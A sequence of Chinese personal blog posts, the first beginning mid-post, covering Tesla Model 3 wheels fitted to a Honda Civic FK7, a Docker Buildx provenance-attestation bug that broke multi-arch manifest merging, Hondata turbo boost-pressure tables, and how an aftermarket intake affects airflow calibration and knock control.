然后再一看价格,二手轮毂一支一般都在 700 CNY 左右,而且想到相比较上面的改装轮毂而言,有大量的 Model 3 车主在路上验证(不会断),质量也比较有保证。
本着该省省(轮毂),该花花(轮胎)的 JDM 精神,于是就开始各种找货源,最终以 2500 CNY 的价格收到了 4 个没有失圆的 Model 3 拆车轮毂,同时用 6800 CNY 买了 4 条 235/40/R18 的 YOHOMAHA AD09 轮胎。
Model3 原厂轮毂重量为 9.68KG,带上 235/40/R18 的 AD09 之后总重量是 22.3KG
思域原厂轮毂重量未知(似乎是 12KG),带上 225/45/R17 的 A052 之后总重量是 21.22KG
在相同胎压的情况下基本没有变化,不知道之前一些说换了大轮毂车高会变高的人是出于什么理论。
这个也是我买轮毂最担心的一个点,由于我换了避震,车身高度有所降低,如果买回来发现 ET 过于激进导致在过坎或者车身有跳跃的时候蹭到车身肯定是个很恼火的事情,现在以我的避震数据来看:
| 位置 | 数据 |
|---|---|
| 前轴 Measurement A (李子串紧固螺丝到避震弹簧和调节器交界处的距离) |
19cm (已经达到说明书上建议的 17cm-19cm 中最大值) |
| 前轴 Measurement B (轮毂中央到翼子板边缘距离) |
34cm |
| 前轴翼子板距离地面距离 |
65cm |
完整的避震信息请参考:「避震 | Nova Kwok 的思域 FK7 改车笔记」
所以结论是:在前轴已经升到最高的情况下,前轴在快速过一些坎和高低起伏路面的时候会蹭到轮拱内侧黑色的塑料部分,后轴不会蹭。
蹭到的位置在下图中红框标记出来的部分:

从左到右分别蹭到的三处位置内部如图:
要缓解这个问题只能将避震前轴高度继续调高至少 2cm(超过说明书的范围,可能会失去质保),所以这么看至少在没有倾角的情况下,ST 避震对于 18x8.5J 轮毂的适配是很失败的。
Endless EC670 测试了是没法安装的:
AP9440 + CZV 330MM 刹车盘套装实测是可以用的

Model 3 轮毂螺帽的面是锥面的,原厂螺帽是球面的,所以千万不要用原厂螺丝拧上去,除非你不要命了,球面和锥面对比如下:

详情可以参考:改装轮毂那些事之螺丝螺帽怎么选?
一些改装轮毂螺丝都是锥面的, 不过一套(20 个)的价格一般在 700 左右,继续本着该省省,该花花的 JDM 精神,我的是在熟悉的店里面捡的其他原厂锥面螺帽的车的拆车螺帽,价格白嫖。
此外,Model 3 原厂螺丝是 M14 的,思域原厂螺丝是 M12 的,整个螺栓粗细会细一些,且一般 M12 的锥面螺帽没法完全压住轮毂上用来装螺帽的那个坑,灵魂画家上线:
2024-05-07 更新:拆下来螺帽的情况来看,实际螺帽上的锥面部分可能只有后 40% 是和轮毂接触的(并且已经有些轮毂损伤部分附着在了螺帽上),螺帽锥面的前半部分直接伸到了轮毂孔里面,没有和轮毂接触,如下图:

另外在: https://club.autohome.com.cn/bbs/thread/83dc4ff4cda4d0ff/96449861-1.html 有看到这么个说法:
说两个楼主需要注意的地方
1.中心孔都是64.1,但是毛豆3的18寸轮毂中心孔带台阶,本田的轴头是平面,且比较短,我记得应该能吃住3mm左右实际距离的轴头,走颠簸路面一定注意。
2.我看你用的是本田原厂螺帽,毛豆三的螺帽是大锥面,本田的是平面球状,能紧住轮毂但是不会太紧,而且特斯拉原厂螺杆比本田粗很多,这就会但是螺丝孔会有部分旷量。
其中第二点也就是本章节说的内容,第一点有待确认,不过可以确认的一点是,如果更换了锥面螺丝的话,螺牙可以吃到 8~9 牙,所以螺牙部分是没有问题的,轴头的话,修理厂给出的看法是只要能锁紧也没问题。
2023-03-26 更新,关于轴头的部分看到一个说法是其实轴头在安装完成之后不会有径向力,所以上面说的「能吃住3mm左右实际距离的轴头,走颠簸路面一定注意。」不一定成立,来源:https://www.bilibili.com/video/BV12N411F7J7/ 中的评论:

由于 Model 3 使用的是 M14 螺杆+螺帽,本田使用的是 M12 螺杆,意味着使用 M12 螺帽的话没法完全贴合轮毂的锥面,可能会有一些异响,请参考「更换卡钳之后制动距离真的变长了——十代思域 AP9440 安装/测试记录」一文中的介绍和对应的解决思路。



以上,希望给同样有想换 Model 3 轮毂的思域车主一点数据反馈,希望大家玩的开心!
]]>pad ~ # docker pull knatnetwork/github-runner-amd64:focal-2.301.1
focal-2.301.1: Pulling from knatnetwork/github-runner-amd64
846c0b181fff: Pull complete
588b3eef3b63: Pull complete
189ea0ac146f: Pull complete
4f4fb700ef54: Pull complete
546945707c6e: Pull complete
71464c2d54c9: Pull complete
1c4efc443e6a: Pull complete
21bbc223ea9a: Pull complete
Digest: sha256:6b5b4aa94f8c1e781785e831d18d7ccc1a0de7d70d63b1afd4df3cce27ddd53f
Status: Downloaded newer image for knatnetwork/github-runner-amd64:focal-2.301.1
docker.io/knatnetwork/github-runner-amd64:focal-2.301.1
但是如果你想 inspect 它的 manifest 会发现 no such manifest。
pad ~ # docker manifest inspect knatnetwork/github-runner-amd64:focal-2.301.1
no such manifest: docker.io/knatnetwork/github-runner-amd64:focal-2.301.1
我怎么会遇到这么个鬼问题呢?
在 2022 年 4 月,我开源了 GitHub Runner, 相关的文章是: 开源 Github Actions Self-Hosted Runner,由于这个 Runner 的 Image 就是在 GitHub Actions 上面构建的,且为了提供多架构的支持(ARM64 和 AMD64) 并为了保证构建速度,整个构建工作分为了以下几步:

knatnetwork/github-runner-amd64:focal-2.301.1 和 knatnetwork/github-runner-arm64:focal-2.301.1 的镜像knatnetwork/github-runner:focal-2.301.1 的 Multi-Arch 镜像这么做一直没有问题,直到几天前在最后一步合并镜像的时候遇到了第一个报错: https://github.com/knatnetwork/github-runner/actions/runs/3954481625/jobs/6776296661
failed to put manifest docker.io/knatnetwork/github-runner:focal-2.301.1: errors:
manifest blob unknown: blob unknown to registry
奇怪,难道是因为 GitHub 有一些 Step 没有升级么?
想到之前看到过一堆 The set-output command is deprecated and will be disabled soon.,于是尝试升级了一下 docker/login-action 和 docker/build-push-action 等,然后重新触发任务,结果依然是在合并镜像的时候报错,不过这一次报错内容还不太一样,是:
Run docker manifest create knatnetwork/github-runner:focal-2.301.1 --amend knatnetwork/github-runner-amd64:focal-2.301.1 --amend knatnetwork/github-runner-arm64:focal-2.301.1
docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list

基于个人的经验,如果同一段代码之前能跑,现在突然不能跑了,在这个情况下,一般有如下可能:
docker/login-action 和 docker/build-push-action 中有什么变更,或者这些 step 使用的组件(比如 buildx)有啥变更我们先排除最后一个可能,因为过了两天之后再重试发现问题依旧,且没有看到有大量对于这两个服务不可用的反馈,所以只剩下前两个可能。
先看看是不是 Docker 有啥 Breaking change 导致的问题,最后一次成功的 Action 是: https://github.com/knatnetwork/github-runner/actions/runs/3736662591,调试信息中:
Client:
Version: 20.10.21+azure-2
API version: 1.41
Go version: go1.18.9
Git commit: baeda1f82a10204ec5708d5fbba130ad76cfee49
Built: Tue Oct 25 17:53:02 UTC 2022
OS/Arch: linux/amd64
Context: default
Experimental: true
Server:
Engine:
Version: 20.10.21+azure-2
API version: 1.41 (minimum version 1.12)
Go version: go1.18.9
Git commit: 3056208812eb5e792fa99736c9167d1e10f4ab49
Built: Tue Oct 25 11:44:15 2022
OS/Arch: linux/amd64
Experimental: false
第一次失败开始的 Action: https://github.com/knatnetwork/github-runner/actions/runs/3954481625/jobs/6776269393 ,调试信息中:
Client:
Version: 20.10.22+azure-1
API version: 1.41
Go version: go1.18.9
Git commit: 3a2c30b63ab20acfcc3f3550ea756a0561655a77
Built: Thu Dec 15 15:37:38 UTC 2022
OS/Arch: linux/amd64
Context: default
Experimental: true
Server:
Engine:
Version: 20.10.22+azure-1
API version: 1.41 (minimum version 1.12)
Go version: go1.18.9
Git commit: 42c8b314993e5eb3cc2776da0bbe41d5eb4b707b
Built: Thu Dec 15 22:17:04 2022
OS/Arch: linux/amd64
Experimental: false
看上去确实有一些版本升级,不过阅读了 https://docs.docker.com/engine/release-notes/#201022 之后发现基本只有点 Patch ,没有什么足以引起这种问题的更新。
那么现在压力就来到了第二个,即 「docker/login-action 和 docker/build-push-action 中有什么变更,或者这些 step 使用的组件(比如 buildx)有啥变更」。
在继续调查前我们先看一下上面的报错是个什么情况,为什么镜像能拉,但是 manifest 看不了,难道拉镜像之前不需要看 manifest 么?
Docker 用来查看 manifest 的指令是 docker manifest inspect ,但是这个指令没有类似用于调试的 -v 的选项,所以如果看到了 no such manifest,那你也没法知道背后出了啥问题,不过考虑到 manifest 就一个 JSON 文件,所以肯定是有 Docker Hub 的 API 可以查询的,于是立即上网梭了一个脚本出来:
#!/bin/sh
ref="${1:-library/ubuntu:latest}"
sha="${ref#*@}"
if [ "$sha" = "$ref" ]; then
sha=""
fi
wosha="${ref%%@*}"
repo="${wosha%:*}"
tag="${wosha##*:}"
if [ "$tag" = "$wosha" ]; then
tag="latest"
fi
api="application/vnd.docker.distribution.manifest.v2+json"
apil="application/vnd.docker.distribution.manifest.list.v2+json"
token=$(curl -s "https://auth.docker.io/token?service=registry.docker.io&scope=repository:${repo}:pull" \
| jq -r '.token')
curl -H "Accept: ${api}" -H "Accept: ${apil}" \
-H "Authorization: Bearer $token" \
-s "https://registry-1.docker.io/v2/${repo}/manifests/${sha:-$tag}" | jq .
来源:https://stackoverflow.com/questions/57316115/get-manifest-of-a-public-docker-image-hosted-on-docker-hub-using-the-docker-regi
然后找了个正常的镜像试了一下,输出结果类似是这样的,和用 docker manifest inspect 结果一致:
{
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"schemaVersion": 2,
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "sha256:19bf2d0d0a8aaf27988db772ff6ba4044405447535762bfc9ba451d0d84f0a18",
"size": 4995
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:846c0b181fff0c667d9444f8378e8fcfa13116da8d308bf21673f7e4bea8d580",
"size": 28576882
},
...
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:74b36662af5e651ae3390a6cf13fcaa8fca08fea5bd711ddbed60bf9e5924654",
"size": 932
}
]
}
于是立即看了一下有问题的镜像,结果是这样的:
{
"errors": [
{
"code": "MANIFEST_UNKNOWN",
"message": "OCI index found, but accept header does not support OCI indexes"
}
]
}
从 OCI Image Index Specification 文档中我们知道 manifest 有很多类型,大家一般在用的是 application/vnd.docker.distribution.manifest.v2+json,如果是一个 multi-arch 的镜像的话可能输出结果是这样的:
{
"manifests": [
{
"digest": "sha256:93d5a28ff72d288d69b5997b8ba47396d2cbb62a72b5d87cd3351094b5d578a0",
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"platform": {
"architecture": "amd64",
"os": "linux"
},
"size": 528
},
{
"digest": "sha256:176bc6c6e93528f4b729fae1f8dbd70b73861264dba3a3f64c49c92e1f42a5aa",
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"platform": {
"architecture": "s390x",
"os": "linux"
},
"size": 528
}
],
"mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
"schemaVersion": 2
}
这里它的格式是 application/vnd.docker.distribution.manifest.list.v2+json ,也就是上面脚本中请求的时候同时带上了以下两个 header 的原因。
api="application/vnd.docker.distribution.manifest.v2+json"
apil="application/vnd.docker.distribution.manifest.list.v2+json"
但是这里根据提示 OCI index found ,我们猜测可能实际的 manifest 格式和上面两个都不匹配,于是加入了以下两个新的 Header 上去,显式定义一下我们还接受 application/vnd.oci.image.index.v1+json 这个格式:
api_old="application/vnd.oci.image.manifest.v1+json"
api_oldi="application/vnd.oci.image.index.v1+json"
很快,我们就看到有问题的镜像也能返回了,数据是这样的:
{
"mediaType": "application/vnd.oci.image.index.v1+json",
"schemaVersion": 2,
"manifests": [
{
"mediaType": "application/vnd.oci.image.manifest.v1+json",
"digest": "sha256:73809677ff2aff4bee611f1da7cdc9b8825c5729d2aab4c88b683cfa0e5fc7f0",
"size": 1817,
"platform": {
"architecture": "amd64",
"os": "linux"
}
},
{
"mediaType": "application/vnd.oci.image.manifest.v1+json",
"digest": "sha256:f47cf60d8b8da4e0f5040071b78ddb41f0ae160da6b1be7ddcba03a5c0bf9b3d",
"size": 567,
"annotations": {
"vnd.docker.reference.digest": "sha256:73809677ff2aff4bee611f1da7cdc9b8825c5729d2aab4c88b683cfa0e5fc7f0",
"vnd.docker.reference.type": "attestation-manifest"
},
"platform": {
"architecture": "unknown",
"os": "unknown"
}
}
]
}
这就很有意思了,我用:
- name: Build and push AMD64 Version
uses: docker/build-push-action@v2
with:
context: ./amd64/
file: ./amd64/Dockerfile
platforms: linux/amd64
push: true
tags: |
knatnetwork/github-runner-amd64:focal-${{ github.event.inputs.github-runner-version }}
构建出来的镜像为什么 manifests 是个数组(像是一个 multi-arch 的镜像),而且第二个 platform 还是 unknown?
所以应该也是这个原因导致了: docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list 这个报错, 操作 manifest 合并镜像不能把两个多 Arch 镜像合并。
但为什么?
在上文的输出中我们看到了一个关键信息: "vnd.docker.reference.type": "attestation-manifest",经过搜索看到了这个文档: Attestation storage | Docker Documentation
Buildkit supports creating and attaching attestations to build artifacts. These attestations can provide valuable information from the build process, including, but not limited to: SBOMs, SLSA Provenance, build logs, etc.
哦?是 Buildkit 搞的事情?
于是开始检查最后一次成功的 Buildx 版本,发现是:
github.com/docker/buildx 0.9.1+azure-2 ed00243a0ce2a0aee75311b06e32d33b44729689
再看看第一次失败的 Buildx 版本:
github.com/docker/buildx 0.10.0+azure-1 876462897612d36679153c3414f7689626251501
版本从 0.9.1 升级到了 0.10.0 ,这个时候回顾一下 docker/build-push-action 的 Release Note 中有这么一段话:
Buildx v0.10 enables support for a minimal SLSA Provenance attestation, which requires support for OCI-compliant multi-platform images. This may introduce issues with registry and runtime support (e.g. GCR and Lambda). You can optionally disable the default provenance attestation functionality using provenance: false.
很快我们就知道这里的问题在于 Buildx 从 0.10 开始就默认加入了这个叫做 SLSA Provenance attestation 的东西,也就是我们看到的 manifest 中底下那个 "vnd.docker.reference.type": "attestation-manifest" 的内容,这么做对于直接构建的 Multi-Arch 镜像没有影响,对于单架构镜像而言一般也没有影响(虽然会在 docker manifest inspect 的时候报错),但是一旦有了像我这样多个并行构建,后期操作 manifest 的合并的操作的时候,就会导致 docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list 类似这样的错误。
如果你想了解更多关于 Build attestations 的事情,可以从 Docker 的文档: Build attestations | Docker Documentation 开始阅读,简单来说分为 SBOM 和 Provenance:
Build attestations describe how an image was built, and what it contains. The attestations are created at build-time by BuildKit, and become attached to the final image as metadata.
Two types of build annotations are available:
Software Bill of Material (SBOM): list of software artifacts that an image contains, or that were used to build the image.
Provenance: how an image was built.
既然问题很清晰了,那解决问题的思路也明确了,在 docker/build-push-action 加入以下两行即可:
provenance: false
sbom: false
构建后我们再次通过脚本确认,发现 manifest 已经正常,如下:
{
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"schemaVersion": 2,
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "sha256:82da6a4f14803932bfece329e5d2592b74dbbb65a3c493bb6b459fb8b3a082ff",
"size": 4995
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:846c0b181fff0c667d9444f8378e8fcfa13116da8d308bf21673f7e4bea8d580",
"size": 28576882
},
...
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"digest": "sha256:8b5ad40966565f7a972b30cf9494aa3600645350952d99f1d442c143a03d2650",
"size": 932
}
]
}
而至于一开始遇到的 manifest blob unknown: blob unknown to registry 问题,猜测是由于合并镜像需要在一个 repo 下,逻辑应该是:
knatnetwork/github-runner-amd64:latest 和 knatnetwork/github-runner-arm64:latest 不能合并knatnetwork/github-runner:latest-amd64 和 knatnetwork/github-runner:latest-arm64 可以合并不过这里似乎也没法解释为什么之前这么做是可以的,如果有读者有了解的话,欢迎在评论区中指出。
总结,为了解决上面两个问题,我分别做了以下调整:
docker/build-push-action 中显式禁用了 provenance 和 sbom 的输出同时得出一个结论就是:如果你和我一样想后期操作 manifest 来调整镜像的话,一定要注意 buildx 的这个新特性,要么显式禁用掉,要么考虑修改你的 Dockerfile 们尽量一次通过 buildx 构建成 Multi-Arch 的镜像。

涡轮车刷程序提升动力无非几个调整点:提升涡轮压力,优化(比如调浓)空燃比和改变点火提前角(让提前角更加激进),三种调整的失败情况分别为:涡轮烧坏(或发动机拉缸),淹缸,和爆震导致爆缸。

图片来源:https://club.autohome.com.cn/bbs/thread/d31338b49d4a8da5/94001521-1.html
而一般涡轮压力是许多人调节的重点,因为只要在相对安全的范围内调节还算比较可控,加之不同的涡轮压力曲线可以让车辆有截然不同的发力方式,也就是可以做到我的「 Nova Kwok 的思域 FK7 改车笔记 」中首页的一句话:「人和车一起成长绝对比无脑花钱跟风改装更加有意义」,通过对于 ECU 的调节,你可以让车以你更加喜欢的风格驾驶。
在 Hondata 的 Calibrations 页面中,我们可以看到很多 +3psi,+6psi high octane 之类的基础程序可以供选择,这里也就是人们口中说的「 +3 和 +6 的公版程序」。

通过 Hondata 软件提供的 Compare 功能我们可以发现,对于原厂, +3,+6 和 +9 程序而言,空燃比和点火提前角其实没有任何变化,这里唯一的变量其实只有涡轮压力的曲线,准确来说,只有「TC maximum pressure ratio」(请无视除了头两行以外其他的 diff,这里看上去是 Hondata 的 Bug ,虽然显示有差异,但是实际打开发现是一样的)

而 Hondata 程序中,对于涡轮的控制在 Boost Control 下,有以下 6 个表格可以调整,分别是:

其中只有第一个是对于实际希望达到的涡轮压力的控制,后面一些 max boost(IAT) 之类都是用来限制涡轮不要在某些情况下超过一个限制压力(防止损伤涡轮)的表格,Boost by gear limit 可以定义在不同的档位下对最高涡轮压力进行限制,例如起步的 1 档可以限制一定的涡轮压力减少打滑的情况发生。
这里我们着重看 TC maximum pressure ratio ,也就是很多人耳中的涡轮压力,所谓的「思域恒压 1.0Bar,瞬压 1.1Bar」都是些啥?
在这个 TC maximum pressure ratio 表格中,我们需要这么解读里面的数据,例如原厂的涡轮压力曲线图是这样的:

我们可以看到,横坐标是 PA(大气压),纵坐标是 RPM(发动机转速),在我选定的区域中由于顶部 PA 都是 1.0 ,所以每列的数字完全相同(这里搞不懂为啥 Hondata 对于同样的 PA 搞出这么多列来)。
从这个表格中我们可以知道,对于程序标定而言,如果你在沿海城市,那么你的 PA 会是 1 ,你的设定涡轮压力会在右边这些 PA 为 1 的列中执行,如果你在一些海拔比较高的城市,那么你的涡轮压力会在左边的某些列中,海拔越高,你的整体涡轮压力就会越低。
这里假设你在上海,那么你的原厂程序涡轮压力标定就是:
| TC maximum pressure ratio |
|---|
| 1.118 |
| 1.164 |
| … |
| 2.02 |
| 2.122 |
| 1.968 |
| 1.843 |
| 1.712 |
可以看到,在 5500RPM 的时候达到了峰值压力 2.122 Bar,减去一个大气压之后就是 1.122 Bar(或许就是网传的「瞬压 1.1Bar」(那「恒压 1.0Bar」又是个啥?)
好了,现在你已经理解涡轮压力曲线是怎么回事了,我们来分别看看原厂, +6psi 和 +9psi 的涡轮压力曲线吧~
原厂涡轮压力曲线:

+6psi 涡轮压力曲线:

+9psi 涡轮压力曲线:

是不是感觉对比就很清晰了?我们可以看到原厂曲线从 1500 RPM 左右开始涡轮快速起压,然后一路平稳提升到 5500 RPM 时候达到最高压力 1.12Bar,这也符合原厂思域开起来虽然显示满压但是依然很平顺的驾驶感受。
同时参考一下说明书上的额定功率:130kW@5500RPM,是不是一下子就能理解了?

而到了 +6psi ,可以发现在 1550 RPM 和 2550 RPM 之间有个平台,压力保持在 0.4Bar,随后才猛增到 1.1Bar,并在 5550 RPM 到达峰值 1.375Bar。
对于 +9psi 而言,有类似 +6psi 的平台,最大压力 1.686Bar,不过这里最大压力在 5000RPM 达成,随后压力就开始下降。
现在我们知道了上面的表格之后,我们就需要来了解一下涡轮压力是怎么控制的,我们可以看下图:

图片来源:https://www.researchgate.net/figure/A-schematic-of-a-turbocharging-system_fig8_260878177
在发动机的排气侧有一个被称为 Wastegate 的玩意儿(中文名可能叫废气旁通阀,俗称“拉煲”),通过电脑控制这个旁通阀的开闭以及开启程度,就可以决定有多少的废气用于吹动涡轮,有多少的废气直接排出。
通过真空控制阀门的打开和关闭,原理大概就是进气歧管内达到预设的空气压力时,真空阀将Turbine侧的旁通阀打开泄压,或者维持歧管压力。所谓的“增压值”,就是进气歧管内的瞬间最高空气压力(瞬压)和恒定工作时的气压(恒压),所谓的涡轮介入转速,从进气歧管的压力看,就是从负压转为正压的一瞬间,就叫“起bar”。
—— 涡轮那些事儿之二:废气旁通阀 (Honda誌)
我们还是以思域举例,首先定义一下,电脑控制压力叫做 BP CMD(Boost Pressure Command),实际涡轮压力叫做 BP(Boost Pressure),旁通阀是 WG(Wastegate),电脑控制旁通阀是 WGCMD(Wastegate Command),我们来看一段 Log 数据:

这段数据是我 3 档全油门冲刺的一个瞬间(TPedal 一直在 91%),到转速到了红线收油截止,可以看到随着转速上升涡轮压力在逐渐变大,并在 5000RPM 的时候 BP 和 BPCMD 都达到了最大值 20psi,随后涡轮压力开始下降,导致涡轮压力下降的原因是 WGCMD 控制着 WG 开始变大,旁通阀逐渐让更多废气不经过涡轮,这样就能做到控制涡轮在电脑设计的压力内了(不超压)。
如果你想了解更多关于涡轮的内容,或许可以看看 涡轮那些事儿之三:关于涡轮增压系统的进气 ,主要关于进气管路,空气滤芯(风格),涡轮压力的相关知识 (网页镜像: https://archive.ph/EcHuE)
有了上面的知识之后,我们可能会得出一个结论:我把涡轮压力写大大大大!那我就可以起飞了!
确实。
这里的指导意见是这样的:
一知半解的二阶车友常常忽略这一项,觉得涡轮压力打高就好。但实际上,涡轮压力大说明进气阻力大,并不是压力大马力就一定大。举个简单的例子,原厂使用的TD025涡轮,1.1bar和1.3bar可能差个20匹马力,但是1.6bar和1.8bar可能就差5匹马力,因为涡轮流量已经到瓶颈了,继续增加压力并不能推更多空气进去燃烧,反而因为压力过高涡轮容易坏。而你换一个加大涡轮,用更小的涡轮压力就能达到相同的最大马力值。
十代思域避坑改装教程!三阶车主血泪写成!(技术贴) (https://club.autohome.com.cn/bbs/thread/d31338b49d4a8da5/94001521-1.html)
所以在这里我个人的调节建议是:如果你现在是 +6psi 的公版程序且希望进行一些额外的调整的话,把 +9psi 的 TC maximum pressure ratio 最后一列复制到 +6psi 的最后一列上,这样可以获得一个额外的曲线用来作为参考,类似这样:

此时最顶上那条紫色的线是 +9psi 公版程序的线,其次是 +6psi 公版程序的线,有了顶上的线作为参考后,可以适当调整倒数第二列的曲线,根据个人的驾驶习惯和希望的满压点进行调整,注意调整的整体曲线样式应该和上下两条线类似,调整完后将调整好的那一列覆盖所有 PA 为 1 的列即可,随后一边驾驶一边录制数据并观察是否正确达到了你的设定涡轮压力。
再次声明:本文是对于 Hondata 涡轮压力控制以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。
最后我们来看看上面说的一些涡轮压力限制
以 +6psi 公版程序为例,这些图表分别是这样的:
TC max boost(IAT) (基于 IAT 的涡轮压力限制):

TC max boost(PA) (基于大气压的涡轮压力限制):

TC boost command (暂时未知):

Boost by gear limit (基于档位的涡轮压力限制):

Knock air limit (基于进气量的涡轮压力限制)

上面这些表格主要都是一些限制,比如对于不同的 PA,进气温度等等的,可以减少在 TC Max Pressure 达到之后超过了某些预设限额导致涡轮超压,不过这里的限制一般都很高,不会撞上,但是依然可以作为排查的线索(比如设置了某个涡轮压力但是发现无论如何就是达不到的时候)。
本文写就于除夕夜,一个人的夜晚,Hondata Datalog 作伴。

祝大家 2023 新春快乐!
许多时候我们可能会为了性能的提升,或者显摆的需要,给自己的车换上和原厂进气组件不一样的进气套件,比如前段时间就给我的 FK7 换上了一个名叫 Injen EVOLUTION Cold Air Intake System - EVO1500 的进气系统,是和 进气升级 改不好比原厂还慢 这个视频中的同款进气,是一个使用干式滤芯的带风箱的进气系统。
但是在更换了进气组件之后,我就一直有一个疑惑,这个新的进气组件是否真的和原车兼容,我怎么知道它在正常工作呢?
由于手上正好有 Hondata 的程序,所以在安装了进气之后很快我就插着 Hondata 开着车在外面录制了一段时间的数据流并拿回家分析。
虽然我们在官网上可以看到 Injen 对于这个进气的描述是「Dyno Proven gains of up to 13 hp and 12 lb-ft. of torque」和「Designed to work with the stock calibration」,但是在用 Hondata 实测的 Log 下(对应的程序是「Canada 2018 MT - Civic Turbo MT 2017,+6 psi high octane」原版)。
如果不勾选 Mod 中的「Injen CAI/SRI」的选项的话, KC 会常年在 68% 左右,而且开 10 分钟大概会出现 6-7 个 Knock,此时车开起来会有比较肉的感觉。

如果勾选了 Mod 中的「Injen CAI/SRI」的选项的话, KC 会恢复到 56% 左右,不太容易出现 Knock,相比较不勾选的情况下 0-100km/h 加速成绩可以再快 0.5s 左右。

所以从这一点来看即使使用了这个带风箱进气,使用 「Injen CAI/SRI」 依然是一个比原厂程序更好的选择,如果你用了这个进气,请不要盲目相信某些人说的不用调程序之类的,不然你的车可能一直在一个高 KC 下工作。
上文中我使用了一个词叫做 KC,这个全称是 Knock Control,中文翻译——爆震指数,在 What is Knock Count and Knock Control (defined) 一文中有如下解释:
“Knock Control” = This parameter is the ECU’s determination of fuel quality. Movement here indicates the knock sensor hears what it thinks is knock activity, and reports to the ECU to apply a steeper ignition retard to avoid continued knock activity. This value is dynamic, and WILL move from time to time.
On Civic Si models, there doesn’t seem to be a forced rise at play at WOT like the non-Si 1.5T ECU’s (which naturally rise above 5,200-5,400rpm regardless of sensor input). Movement that goes up and up and up and never comes down is more concerning than movement alone. Knock control can typically be manipulated down by driving the car in a higher gear at lower engine speeds and targeting atmospheric pressure on the MAP sensor reading.
在另一个帖子( Has anyone used the Hondata +6 PSI tune on CVT with Regular Fuel )中,有网友表示
I really hate when people claim these cars don’t knock. The computer will do what it can to prevent it based on estimate algorithms combined with knock sensor activity but it surely isn’t ideal to have any knock control higher than the 49% or 54% depending on which tuning software your running. Period. Even stock.
从以上帖子的中我们可以总结出以下结论:
在上文中我们看到如果没有勾选「Injen CAI/SRI」选项的话 KC 会偏高,但是勾了之后 KC 就下来了,这里我们就需要了解这个选项具体是改变了什么。
经过查阅资料之后我们可以知道,「Injen CAI/SRI」主要是改变了 AFM,那么什么是 AFM,以及为什么对它的修改会影响到 KC,这里我们需要先涉及到两个预备概念,分别是叫做:Closed Loop(闭环控制)和 AFR(空燃比)。
关于什么是闭环控制,打算直接抄袭一下 一次P0171/P0174燃油系统过稀(System too lean)故障的诊断过程 一文中的解释:
发动机的每个Bank各有两个氧传感器,前氧传感器位于排气歧管下游,三元催化器上游,负责给计算机反馈排气中的氧气含量数据。后氧传感器位于三元催化器下游,其数据不影响发动机的行为,只用于监控三元催化性能。氧传感器数据将被用于检测燃烧状况,如果氧传感器数据显示系统过稀(lean condition),计算机将会命令喷油嘴多喷油(rich command);反之(rich condition)则少喷油(lean command)。
发动机刚刚启动时会处于开环控制,因为氧传感器在温度不够的情况下无法读出数据。在氧传感器和水温都达到工作温度之后,系统则转入闭环控制。在一些特殊情况下,比如发动机刚启动时(即使已经达到工作温度),油门全开(Wide Open Throttle),计算机会强制使用开环控制。
而关于空燃比,Wiki 上的介绍是:
空燃比(Air-fuel ratio,簡稱AFR)是指在內燃機中,空氣與燃料的質量比。如果它恰好等於能使得燃料完全燃燒的化學計量比,則稱為化學計量空燃比。空燃比是減少排放和提高內燃機性能的一個非常重要的參數。
即燃燒此時空氣與燃料的質量比。 汽油的化學計量空燃比大約為14.7,柴油大約為14.3。
这里我们就会得出一个结论,发动机对于非 WOT (全油门)工况下喷油和燃烧的控制是需要多个传感器进行监控的,在一个理想状态下发动机需要控制好进气和喷油的量(达到最优空燃比 14.7),但是如何要知道空燃比我们就需要知道两个数据——喷油量和进气量,喷油量这个很好计算,毕竟现在都是电控缸内直喷了,而进气量的计算就需要进气流量传感器了。
进气流量传感器称为 MAF——Mass Air Flow sensor,一般会插在进气组件的管路上,找了一张十代思域的网图,白圈中的就是 MAF。

对于非 Si 的思域来说(比如我们普通的十代思域),MAF 读到的数据是一个 0~5V 之间的电压(而不是实际的单位为 g/s 的流量),为了让发动机能了解到对应的电压下实际上是多少流量的进气量,就会有 AFM 的设定,原厂的 AFM 曲线是根据原厂的进气风箱标定的,这个标定是一个表格,大概长这个样子:

但是在改装了进气之后,比如在我这个场景下实际进气量会比原厂的大的多,如果继续按照原厂的表格进行查询的话,同等电压下电脑会根据那个曲线得到一个比实际进气量低的值(比如电压是 3V,电脑一查表格以为是 40g/s 的进气量,便按照这个量来喷油燃烧,然而实际上已经吸入了 50g/s 的空气),这个时候发动机就会根据错误的进气量来决定喷油量,实际带来的效果就是 AFR (空燃比)不对了,实际进气更多,导致 AF 更高(喷油浓度变低),从而导致容易爆震和 KC 更高。
那电脑是怎么知道 AFR 不对的呢?上面我们提到,在大部分工况下,车的 ECU 是在闭环控制下运行的,在发动机的排气端还没有到三元催化的时候有个前氧传感器,这个传感器会知道燃烧剩余的氧气含量,如果少于某个值,那么就是油喷多了,如果大于某个值,那么肯定就是油喷少了,在上面这个工况下,前氧传感器发现尾气中有更多的样子,很快电脑就知道自己油喷多了,为了保证混合气充分燃烧,这里发动机就需要使用 S Trim 和 L Trim 进行修正。
这里也就是溜溜哥某一期节目中说的:你换了进气之后程序不跟着做修正的话电脑是会觉得很奇怪的。
为了让读者可以更加直观了解 Trim 的工作原理,这里放上一段我录制的数据的截图:

可以看到在选定的那个点上:
这里我们可以得到以下信息:在这个工况下发动机希望缸内燃烧的空燃比是 14.97:1,但是根据前氧传感器计算出来得到的实际空燃比是 15.81:1,相比较希望的值而言油更稀,本着水多了加面,面多了加水的原则,发动机给了 4% 的 S Trim(短期燃油修正),让发动机多喷一些油来缓解这个情况。
在 Hondata 的网站上我们可以看到:
